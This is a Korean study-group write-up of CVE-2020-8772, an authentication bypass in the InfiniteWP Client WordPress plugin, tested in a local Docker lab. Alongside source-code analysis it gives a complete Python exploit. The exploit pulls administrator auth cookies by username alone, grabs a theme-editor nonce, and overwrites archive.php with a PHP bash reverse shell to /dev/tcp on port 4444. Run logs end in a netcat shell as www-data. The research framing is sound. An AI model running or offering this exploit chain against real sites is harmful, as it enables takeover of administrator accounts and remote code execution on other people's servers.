[목적]
- 해당 글은 연구하기 위한 목적으로 정리하였으며, 앞으로도 연구 목적으로 올라올 예정임.
- 실력을 향상하기 위하여 스터디 모임에서 정리한 내용을 일부 공개하고 있으면 향후에도 동일한 방식으로 진행될 예정
ref
https://blog.sunggwanchoi.com/kor-infinitewp-client-1-9-4-5-authentication-bypass/
상세 분석 결과
환경 구축
wordpres 구축
- wordpress : 4.8.3
- mysql: 5.7
docker-compose.yml
version: "3.3"
services:
db:
image: mysql:5.7
volumes:
- ./db_data:/var/lib/mysql
restart: always
environment:
MYSQL_ROOT_PASSWORD: somewordpress
MYSQL_DATABASE: wordpress
MYSQL_USER: wordpress
MYSQL_PASSWORD: wordpress
wordpress:
depends_on:
- db
image: wordpress:4.8.3
volumes:
- ./wordpress_data:/var/www/html
ports:
- "8000:80"
restart: always
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_USER: wordpress
WORDPRESS_DB_PASSWORD: wordpress
WORDPRESS_DB_NAME: wordpress
docker-compose up -d
계정 생성
- admin 유저로 계정 생성
취약한 플러그 설치
원하는 버전의 플러그인 다운로드 방법
<https://downloads.wordpress.org/plugin/><플러그인_이름>.<버전>.zip
<https://downloads.wordpress.org/plugin/iwp-client.1.9.4.4.zip>
파일 업로드 용량 늘리는 방법
- Increase Maximum Upload File Size, WP 파일 관리자 플러그인 설치
- .htaccess 에 아래 내용 추가
- php_value upload_max_filesize 32M php_value post_max_size 64M php_value memory_limit 128M php_value max_execution_time 300 php_value max_input_time 300
iwp-client 플러그인 설치
타겟
- 이름 : Infinite WP
- 유형 : 워드프레스 플러그인
- 버젼 : < 1.9.4.5
- 기능 : 여러개의 워드프레스 사이트를 관리,모니터링 해주는 플러그인
취약점
설명
- Authentication Bypass 취약점
- 공격자가 워드프레스 유저의 이름을 알고 있으면 해당 유저의 사용자 인증 쿠키를 알아낼 수 있는 취약점
페이로드
{"iwp_action": "add_site", "params": {"username": "admin"}}
취약점 발생 지점
- init.php 파일
- iwp_mmb_set_request 함수
PoC 실행
PoC 코드
import requests
import pprint
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", required=True, help="URL of the target WordPress site.")
args = parser.parse_args()
url = args.url
data = '_IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQ=='
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
# 요청 객체 사전 준비
request = requests.Request('POST', url, data=data, headers=headers)
prepared_request = request.prepare()
# 패킷 출력 (Burp Suite 스타일)
print("=== Request ===")
print(f"{prepared_request.method} {prepared_request.path_url} HTTP/1.1")
for header, value in prepared_request.headers.items():
print(f"{header}: {value}")
print()
print(prepared_request.body)
print()
# 요청 보내기
response = requests.Session().send(prepared_request)
# 응답 패킷 출력
print("\\n=== Response ===")
print(f"HTTP/{response.raw.version} {response.status_code} {response.reason}")
for header, value in response.headers.items():
print(f"{header}: {value}")
print()
if response.content:
print(response.content.decode())
print()
if 'IWPHEADER' in response.text:
print('\\n[+] Vulnerable')
else:
print('\\n[+] Not vulnerable')
실행 결과
python .\\poc.py -u <http://localhost:8000>
=== Request ===
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
_IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQ==
=== Response ===
HTTP/11 200 OK
Date: Sat, 09 Sep 2023 06:14:06 GMT
Server: Apache/2.4.56 (Debian)
X-Powered-By: PHP/8.0.30
Set-Cookie: wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7COlXiXvkdOcf3sSTTshqHwurg0D0tbGmJjipzmYLeanR%7C3efd8dc118e2254f28f58e01e08379acb3c549eacd0fe6ab0b4e4b37bd21f18b; path=/wp-content/plugins; HttpOnly, wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7COlXiXvkdOcf3sSTTshqHwurg0D0tbGmJjipzmYLeanR%7C3efd8dc118e2254f28f58e01e08379acb3c549eacd0fe6ab0b4e4b37bd21f18b; path=/wp-admin; HttpOnly, wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7COlXiXvkdOcf3sSTTshqHwurg0D0tbGmJjipzmYLeanR%7Ca095bf77a2d4a9697d0b8859a16435bb44e0245bebbf1d70a8897b68b0b9920b; path=/; HttpOnly, wordpress_sec_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7Cfw63YzduxLX0ZqDJvDlPEvWJ4SD5PcBxZakNBRDqzm2%7Ce2952a11bf492fc0e27bdd7820f01c9d134ae58efc291909e5296beb2a0ac4b9; path=/wp-content/plugins; secure; HttpOnly, wordpress_sec_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7Cfw63YzduxLX0ZqDJvDlPEvWJ4SD5PcBxZakNBRDqzm2%7Ce2952a11bf492fc0e27bdd7820f01c9d134ae58efc291909e5296beb2a0ac4b9; path=/wp-admin; secure; HttpOnly, wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7Cfw63YzduxLX0ZqDJvDlPEvWJ4SD5PcBxZakNBRDqzm2%7C399a76985c0c86303848f480390bad5a4166268ca4b7a62d2de1c42e83b44c47; path=/; HttpOnly
Vary: Accept-Encoding
Content-Length: 162
Content-Type: text/plain;charset=UTF-8
<IWPHEADER>_IWP_JSON_PREFIX_eyJlcnJvciI6IkludmFsaWQgYWN0aXZhdGlvbiBrZXkiLCJlcnJvcl9jb2RlIjoiaXdwX21tYl9hZGRfc2l0ZV9pbnZhbGlkX2FjdGl2YXRpb25fa2V5In0=<ENDIWPHEADER>
[+] Vulnerable
Request
=== Request ===
POST /wp-admin/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
_IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQ==
- {"iwp_action":"add_site","params":{"username":"admin"}}
Response
=== Response ===
HTTP/11 200 OK
Date: Sat, 09 Sep 2023 06:14:06 GMT
Server: Apache/2.4.56 (Debian)
X-Powered-By: PHP/8.0.30
Set-Cookie: wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7COlXiXvkdOcf3sSTTshqHwurg0D0tbGmJjipzmYLeanR%7C3efd8dc118e2254f28f58e01e08379acb3c549eacd0fe6ab0b4e4b37bd21f18b; path=/wp-content/plugins; HttpOnly, wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7COlXiXvkdOcf3sSTTshqHwurg0D0tbGmJjipzmYLeanR%7C3efd8dc118e2254f28f58e01e08379acb3c549eacd0fe6ab0b4e4b37bd21f18b; path=/wp-admin; HttpOnly, wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7COlXiXvkdOcf3sSTTshqHwurg0D0tbGmJjipzmYLeanR%7Ca095bf77a2d4a9697d0b8859a16435bb44e0245bebbf1d70a8897b68b0b9920b; path=/; HttpOnly, wordpress_sec_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7Cfw63YzduxLX0ZqDJvDlPEvWJ4SD5PcBxZakNBRDqzm2%7Ce2952a11bf492fc0e27bdd7820f01c9d134ae58efc291909e5296beb2a0ac4b9; path=/wp-content/plugins; secure; HttpOnly, wordpress_sec_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7Cfw63YzduxLX0ZqDJvDlPEvWJ4SD5PcBxZakNBRDqzm2%7Ce2952a11bf492fc0e27bdd7820f01c9d134ae58efc291909e5296beb2a0ac4b9; path=/wp-admin; secure; HttpOnly, wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7Cfw63YzduxLX0ZqDJvDlPEvWJ4SD5PcBxZakNBRDqzm2%7C399a76985c0c86303848f480390bad5a4166268ca4b7a62d2de1c42e83b44c47; path=/; HttpOnly
Vary: Accept-Encoding
Content-Length: 162
Content-Type: text/plain;charset=UTF-8
<IWPHEADER>_IWP_JSON_PREFIX_eyJlcnJvciI6IkludmFsaWQgYWN0aXZhdGlvbiBrZXkiLCJlcnJvcl9jb2RlIjoiaXdwX21tYl9hZGRfc2l0ZV9pbnZhbGlkX2FjdGl2YXRpb25fa2V5In0=<ENDIWPHEADER>
- admin 유저의 인증이 담긴 쿠키들을 Set-Cookie를 통해 반환해주고 있음
- {"error":"Invalid activation key","error_code":"iwp_mmb_add_site_invalid_activation_key"} 라는 응답을 보냄
정리
{"iwp_action":"add_site","params":{"username":"admin"}} 요청을 보내면 워드프레스는 invalid_activation_key 라는 에러를 반환하지만, 에러와 함께 admin 유저의 인증 쿠키가 같이 반환됩니다.
취약점 소스 코드 분석
취약한 함수
- iwp_mmb_set_request()
- iwp_mmb_parse_request()
취약한 함수가 포함된 파일
❯ grep -ri "iwp_mmb_set_request" .
./init.php:if (!function_exists ('iwp_mmb_set_request')) {
./init.php: function iwp_mmb_set_request(){
./core.class.php: add_action('setup_theme', 'iwp_mmb_set_request');
- init.php
- iwp_mmb_set_request 함수가 정의된 파일은 init.php
- core.class.php
iwp_mmb_set_request
function iwp_mmb_set_request(){
global $current_user, $iwp_mmb_core, $new_actions, $wp_db_version, $wpmu_version, $_wp_using_ext_object_cache, $iwp_mmb_activities_log;
if (is_user_logged_in()) {
iwp_plugin_compatibility_fix();
}
if (empty($iwp_mmb_core->request_params)) {
return false;
}
$params = $iwp_mmb_core->request_params;
$action = $iwp_mmb_core->request_params['iwp_action'];
- Request : {"iwp_action":"add_site","params":{"username":"admin"}}
- **request_params : {"username":"admin"}**
- **request_params['iwp_action'] : "add_site"**
if(isset($params['username']) && !is_user_logged_in()){
$user = function_exists('get_user_by') ? get_user_by('login', $params['username']) : iwp_mmb_get_user_by( 'login', $params['username'] );
if (isset($user) && isset($user->ID)) {
wp_set_current_user($user->ID);
// Compatibility with All In One Security
update_user_meta($user->ID, 'last_login_time', current_time('mysql'));
}
$isHTTPS = (bool)is_ssl();
if($isHTTPS){
wp_set_auth_cookie($user->ID);
}else{
wp_set_auth_cookie($user->ID, false, false);
wp_set_auth_cookie($user->ID, false, true);
}
}
- username 파라미터에 값이 설정되어 있는지 확인하고 로그인되어 있는지 확인
- username: admin , 로그인 되어 있음
- get_user_by 함수가 존재하면 username 에 해당하는 유저의 정보를 가져옴
- 존재하지 않으면 wp_set_current_user() 함수를 이용해서 유저의 정보를 가져옴
- 사이트가 HTTPS 프로토콜을 사용하고 있으면 기본 옵션으로 인증 쿠키를 설정
- 사이트가 HTTP 프로토콜을 사용하고 있으면 HTTPOnly와 Secure 플래그를 모두 비활성화 하고 다시 Secure 플래그만 활성화하여 쿠키를 설정
※ username 만 가지고 사용자 인증을 하고 있다.
※ 보안상 문제가 있음
iwp_mmb_parse_request
global $current_user, $iwp_mmb_core, $new_actions, $wp_db_version, $wpmu_version, $_wp_using_ext_object_cache;
if (strrpos($HTTP_RAW_POST_DATA_LOCAL, '_IWP_JSON_PREFIX_') !== false) {
$request_data_array = explode('_IWP_JSON_PREFIX_', $HTTP_RAW_POST_DATA_LOCAL);
$request_raw_data = $request_data_array[1];
$data = trim(base64_decode($request_raw_data));
$GLOBALS['IWP_JSON_COMMUNICATION'] = 1;
}else{
$data = false;
$request_raw_data = $HTTP_RAW_POST_DATA_LOCAL;
$serialized_data = trim(base64_decode($request_raw_data));
if (is_serialized($serialized_data)) {
iwp_mmb_response(array('error' => 'Please update your IWP Admin Panel to latest version', 'error_code' => 'update_panel'), false, true);
}
}
- 클라이언트가 보내온 요청을 파싱하는 함수
- $HTTP_RAW_POST_DATA_LOCAL 변수에 '_IWP_JSON_PREFIX_ 문자열이 존재하는지 확인
- 존재하면?
- _IWP_JSON_PREFIX_ 를 기준으로 문자열을 나눔
- 두번째 문자열을 가져와 Base64 디코딩 후 앞뒤 공백을 제거
- 전역 변수 $GLOBALS['IWP_JSON_COMMUNICATION'] 에 1을 할당하여 JSON 통신임을 나타냄
- 존재하지 않으면?
- 오류 메시지를 반환
- 존재하면?
※ PoC 코드를 짤 때 _IWP_JSON_PREFIX_<Base64> 형태로 짜야 IWP 플러그인이 처리를 할 수 있다.
if (!$iwp_mmb_core->check_if_user_exists($params['username']))
iwp_mmb_response(array('error' => 'Username <b>' . $params['username'] . '</b> does not have administrative access. Enter the correct username in the site options.', 'error_code' => 'username_does_not_have_administrative_access'), false);
if ($action == 'add_site') {
$params['iwp_action'] = $action;
$iwp_mmb_core->request_params = $params;
return;
}
- parameter로 받은 username이 관리자인지 아닌지 확인하고 관리자이면?
- $action 이 'add_site' 일때
- $params['iwp_action'] 에 $action 대입
- request_params 에 $params 대입
※ username 만 가지고 사용자 인증을 하고 있다.
※ 보안상 문제가 있음
iwp_mmb_add_site
if( !function_exists ( 'iwp_mmb_add_site' )) {
function iwp_mmb_add_site($params)
{
global $iwp_mmb_core, $iwp_mmb_activities_log;
$num = extract($params);
if ($num) {
if (!$iwp_mmb_core->get_option('iwp_client_action_message_id') && !$iwp_mmb_core->get_option('iwp_client_public_key')) {
$public_key = base64_decode($public_key);
if(trim($activation_key) != get_option('iwp_client_activate_key')){ //iwp
iwp_mmb_response(array('error' => 'Invalid activation key', 'error_code' => 'iwp_mmb_add_site_invalid_activation_key'), false);
return;
}
- response에 있었던 'Invalid activation key' 에러 메시지가 있음
PoC 제작
- URL과 관리자 이름을 유저로부터 받는다.
- IWP 페이로드를 이용해 타겟 워드프레스로 부터 관리자 쿠키를 받아낸다.
- 관리자 쿠키를 이용해 리버스 쉘을 전송한다.
- Theme Editor를 이용해 archive.php 페이지를 리버스 쉘로 변환한다.
- 해당 페이지를 방문하면 리버스 쉘이 작동한다.
main
arg = parseArguments()
baseUrl = arg.u
username = arg.n
themeName = arg.t
- python .\\cve-2020-8772.py -u <http://127.0.0.1:8000> -n admin -t twentyseventeen
- baseUrl = http://127.0.0.1:8000
- username = admin
- themeName = twentyseventeen
######### CHANGE ME !!! #########
payload = """<?php exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.35.15/4444 0>&1'");"""
######### CHANGE ME !!! #########
무선 LAN 어댑터 Wi-Fi:
연결별 DNS 접미사. . . . :
링크-로컬 IPv6 주소 . . . . : fe80::cf75:83a3:efa1:feca%4
IPv4 주소 . . . . . . . . . : 192.168.35.15
서브넷 마스크 . . . . . . . : 255.255.255.0
기본 게이트웨이 . . . . . . : 192.168.35.1
- payload → 현재 PC로 리버스 쉘 요청을 보내는 페이로드
print("[DEBUG] baseUrl - ", baseUrl)
print("[DEBUG] username - ", username)
print("[DEBUG] themeName - ", themeName)
print("[DEBUG] Payload - ", payload)
print("[DEBUG] (Make sure to change the payload)")
print()
[DEBUG] baseUrl - <http://127.0.0.1:8000>
[DEBUG] username - admin
[DEBUG] themeName - twentyseventeen
[DEBUG] Payload - <?php exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.35.15/4444 0>&1'");
[DEBUG] (Make sure to change the payload)
- 디버그 메시지 출력
# Setting up basic url, header, payload for the attack
if baseUrl[-1] == '/':
baseUrl = baseUrl[:-1]
header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537"}
iwpPayload = '{"iwp_action":"add_site","params":{"username":"' + username + '"}}'
iwpPayload = "_IWP_JSON_PREFIX_" + base64.b64encode(iwpPayload.encode('ascii')).decode('utf-8')
session = requests.session()
- 사용자 인증이 취약한 addsite 함수를 admin 유저로 접속하도록 iwpPayload 설정
- 페이로드가 정상적으로 파싱 되도록 _IWP_JSON_PREFIX_ + <encoded_payload> 형태로 iwpPayload 설정
- requests 모듈을 이용해서 세션 생성
print("[+] Stage1: IWP Exploit & Sanity Check")
result = iwpExploit(session, baseUrl, header, iwpPayload)
print()
print("[+] Stage2: Getting Nonce")
nonce = getNonce(session, baseUrl, header, themeName)
if (nonce == False):
print("[-] Stage 2 failed. Exiting.")
exit(1)
print()
print("[+] Stage3: Injecting Payload into archive.php")
result = injectPayload(session, baseUrl, header, nonce, payload, themeName)
if (result == False):
print("[-] Stage 1 failed. Exiting.")
exit(1)
print()
- [1] admin 유저로 /wp-admin 사이트 접속이 가능한지 확인
- [2] nonce 값 탈취 진행
- [3] archive.php 페이지를 페이로드로 덮어써서 reverse shell 띄움
finalUrl = baseUrl + "/wp-content/themes/" + themeName + "/archive.php"
print("[+] Exploitation Successful. Open up netcat listener & Visit the following URL\\n")
print("[+] Visit --> ", finalUrl, "\\n")
- 공격 성공 이후 출력되는 URL을 누르면 reverse shell이 연결됨
iwpExploit
def iwpExploit(session, url, header, data):
"""
Exploit IWP vulnerability. All auth_cookie is stored in "session"
:return:bool:Return True/False based on visiting the endpoint
"""
url = url + "/wp-admin/"
print("[+] Trying " + url + " with IWP payload : " + data)
try:
res = session.post(url, headers=header, data=data)
if res.status_code != 200:
print("[-] Failed to reach endpoint")
print(res.status_code)
exit(1)
except Exception as e:
print("[-] Error occurred: " + str(e))
exit(1)
return True
[+] Stage1: IWP Exploit & Sanity Check
[+] Trying <http://127.0.0.1:8000/wp-admin/> with IWP payload : _IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQ==
- admin 유저로 /wp-admin 주소에 접속이 되는지 확인
- 상태 코드가 200번이 아니면?
- 접속 가능하기 때문에, 취약한 상태
getNonce
def getNonce(session, url, header, themeName):
"""
Get Nonce and return Nonce
:return:nonce:str:Nonce of the theme-editor.php?file=archive.php
"""
# First, see if we can visit the theme-editor.php endpoint
urlFirst = url + '/wp-admin/theme-editor.php'
print("[+] Trying " + urlFirst)
try:
res = session.get(urlFirst, headers=header)
if res.status_code != 200:
print("[-] Failed to reach endpoint")
print(res.status_code)
exit(1)
except Exception as e:
print("[-] Error occurred: Potential theme name problem - " + str(e))
exit(1)
# Second, retrieve the nonce from the page and return the nonce
urlSecond = url + '/wp-admin/theme-editor.php?file=archive.php&theme=' + themeName
print("[+] Trying " + urlSecond)
try:
res = session.get(urlSecond, headers=header)
if res.status_code != 200:
print("[-] Failed to reach endpoint")
print(res.status_code)
exit(1)
except Exception as e:
print("[-] Error occurred: Potential theme name problem - " + str(e))
exit(1)
try:
soup = BeautifulSoup(res.text, features='lxml')
nonce = soup.find_all(id='_wpnonce')[0].get('value')
print("[DEBUG] Nonce = ", nonce)
except Exception as e:
print('[-] Error occurred: Potential username problem - ' + str(e))
exit(1)
return nonce
[+] Stage2: Getting Nonce
[+] Trying <http://127.0.0.1:8000/wp-admin/theme-editor.php>
[+] Trying <http://127.0.0.1:8000/wp-admin/theme-editor.php?file=archive.php&theme=twentyseventeen>
[DEBUG] Nonce = f6da1de574
- 먼저 http://127.0.0.1:8000/wp-admin/theme-editor.php 사이트에 접근이 되는지 확인하고 접근이 되면?
- http://127.0.0.1:8000/wp-admin/theme-editor.php?file=archive.php&theme=twentyseventeen
- 해당 사이트에 admin 유저의 쿠키를 이용해서 접속하는 과정을 burpsuite로 잡아보면?
- replay attack 방지를 위해 nonce 값이 함께 전달되고 있음
- 추후 공격을 위해 해당 nonce 값을 수집
- 해당 사이트에 admin 유저의 쿠키를 이용해서 접속하는 과정을 burpsuite로 잡아보면?
injectPayload
def injectPayload(session, url, header, nonce, payload, themeName):
"""
Inject the php payload into archive.php
:return:bool:True/False based on successfully injecting php payload
"""
url = url + "/wp-admin/theme-editor.php"
payloadData = {"_wpnonce": nonce, "newcontent": payload, "action": "update", "file": "archive.php", "theme": themeName, "scrollto": "0", "docs-list": '', "submit": "Update File"}
print("[+] Trying " + url)
print("[+] Full Payload : ", payloadData)
try:
res = session.post(url, headers=header, data=payloadData)
if res.status_code != 200:
print("[-] Failed to reach endpoint")
print(res.status_code)
exit(1)
except Exception as e:
print("[-] Error occurred: " + str(e))
exit(1)
return True
- theme-editor.php 를 이용해서 archive.php 를 페이로드로 덮어씀
POST /wp-admin/theme-editor.php HTTP/1.1
Host: localhost:8000
Content-Length: 125362
Cache-Control: max-age=0
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: <http://localhost:8000>
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: <http://localhost:8000/wp-admin/theme-editor.php>
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1694539956%7CI4n7dZOgnfQ2y32hhLTnBMm37cwqfwCWUWKANbRRGKr%7Cf7af4fbb3032c9c291419a2c7aa6610038a1c920f83ec0c31aac92374ebdac0b; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1694539956%7CI4n7dZOgnfQ2y32hhLTnBMm37cwqfwCWUWKANbRRGKr%7C317e7700cadefeb3c65235c55650ee0e358222791c6a70ceb2520a406b4b0a44; wp-settings-time-1=1694367175
Connection: close
_wpnonce=bdddcebdd9&_wp_http_referer=%2Fwp-admin%2Ftheme-editor.php&newcontent=%2F*%0D%0ATheme+Name%3A+Twenty+Seventeen%0D%0ATheme+URI%3A+https%3A%2F%2Fwordpress.org%2Fthemes%2Ftwentyseventeen%2F%0D%0AAuthor%3A+the+WordPress+team%0D%0AAuthor+URI%3A+https%3A%2F%2Fwordpress.org%2F%0D%0ADescription%3A+Twenty+Seventeen+brings+your+site+to+life+with+header+video+and+immersive+featured+images.+With+a+focus+on+business+sites%2C+it+features+multiple+sections+on+the+front+page+as+well+as+widgets%2C+navigation+and+social+menus%2C+a+logo%2C+and+more.+Personalize+its+asymmetrical+grid+with+a+custom+color+scheme+and+showcase+your+multimedia+content+with+post+formats.+Our+default+theme+for+2017+works+great+in+many+languages%2C+for+any+abilities%2C+and+on+any+device.%0D%0AVersion%3A+1.3%0D%0ALicense%3A+GNU+General+Public+License+v2+or+later%0D%0ALicense+URI%3A+http%3A%2F%2Fwww.gnu.org%2Flicenses%2Fgpl-2.0.html%0D%0AText+Domain%3A+twentyseventeen%0D%
...................................
...................................
...................................
ned+with+others.%0D%0A*%2F%0D%0A%0D%0A%2F*--------------------------------------------------------------%0D%0A%3E%3E%3E+TABLE+OF+CONTENTS%3A%0D%0A------------ant%3B+%2F*+Make+sure+color+schemes+don%27t+affect+to+print+*%2F%0D%0A%09%7D%0D%0A%0D%0A%09h2%2C%0D%0A%09h5%2C%0D%0A%09blockquote%2C%0D%0A%09.site-description%2C%0D%0A%09.twentyseventeen-front-page.has-header-image+.site-description%2C%0D%0A%09.twentyseventeen-front-page.has-header-video+.site-description%2C%0D%0A%09.entry-meta%2C%0D%0A%09.entry-meta+a+%7B%0D%0A%09%09color%3A+%23777+%21important%3B+%2F*+Make+sure+color+schemes+don%27t+affect+to+print+*%2F%0D%0A%09%7D%0D%0A%0D%0A%09.entry-content+blockquote.alignleft%2C%0D%0A%09.entry-content+blockquote.alignright+%7B%0D%0A%09%09font-size%3A+11pt%3B%0D%0A%09%09width%3A+34%25%3B%0D%0A%09%7D%0D%0A%0D%0A%09.site-footer+%7B%0D%0A%09%09padding%3A+0%3B%0D%0A%09%7D%0D%0A%7D%0D%0A&action=update&file=style.css&theme=twentyseventeen&scrollto=400&submit=%ED%8C%8C%EC%9D%BC+%EC%97%85%EB%8D%B0%EC%9D%B4%ED%8A%B8
- 워드프레스 관리자 페이지에서 테마를 변경하는 과정을 burpsuite로 잡아보면?
- _wpnonce 변수를 통해 nonce 값을 전달하고 있음
- new_content를 통해 새롭게 변경할 테마의 코드를 전달하고 있음
- action 을 통해서 테마를 update 하겠다고 하고 있음
- file 을 통해 변경할 파일을 설정하고 있음
- theme 를 통해서 현재 테마명을 전달하고 있음
- scrollto 를 통해서 400으로 스크롤 하게 설정하고 있음
- submit 을 통해서 파일+업데이트를 하겠다고 전달하고 있음
PoC 코드 실행
ncat -lvnp 4444
python .\\cve-2020-8772.py -u <http://127.0.0.1:8000> -n admin -t twentyseventeen
[DEBUG] baseUrl - <http://127.0.0.1:8000>
[DEBUG] username - admin
[DEBUG] themeName - twentyseventeen
[DEBUG] Payload - <?php exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.35.15/4444 0>&1'");
[DEBUG] (Make sure to change the payload)
[+] Stage1: IWP Exploit & Sanity Check
[+] Trying <http://127.0.0.1:8000/wp-admin/> with IWP payload : _IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQ==
[+] Stage2: Getting Nonce
[+] Trying <http://127.0.0.1:8000/wp-admin/theme-editor.php>
[+] Trying <http://127.0.0.1:8000/wp-admin/theme-editor.php?file=archive.php&theme=twentyseventeen>
[DEBUG] Nonce = 1cfc1aea53
[+] Stage3: Injecting Payload into archive.php
[+] Trying <http://127.0.0.1:8000/wp-admin/theme-editor.php>
[+] Full Payload : {'_wpnonce': '1cfc1aea53', 'newcontent': '<?php exec("/bin/bash -c \\'bash -i > /dev/tcp/192.168.35.15/4444 0>&1\\'");', 'action': 'update', 'file': 'archive.php', 'theme': 'twentyseventeen', 'scrollto': '0', 'docs-list': '', 'submit': 'Update File'}
[+] Exploitation Successful. Open up netcat listener & Visit the following URL
[+] Visit --> <http://127.0.0.1:8000/wp-content/themes/twentyseventeen/archive.php>
ncat -lvnp 4444
Ncat: Version 7.94 ( <https://nmap.org/ncat> )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.35.15:13159.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)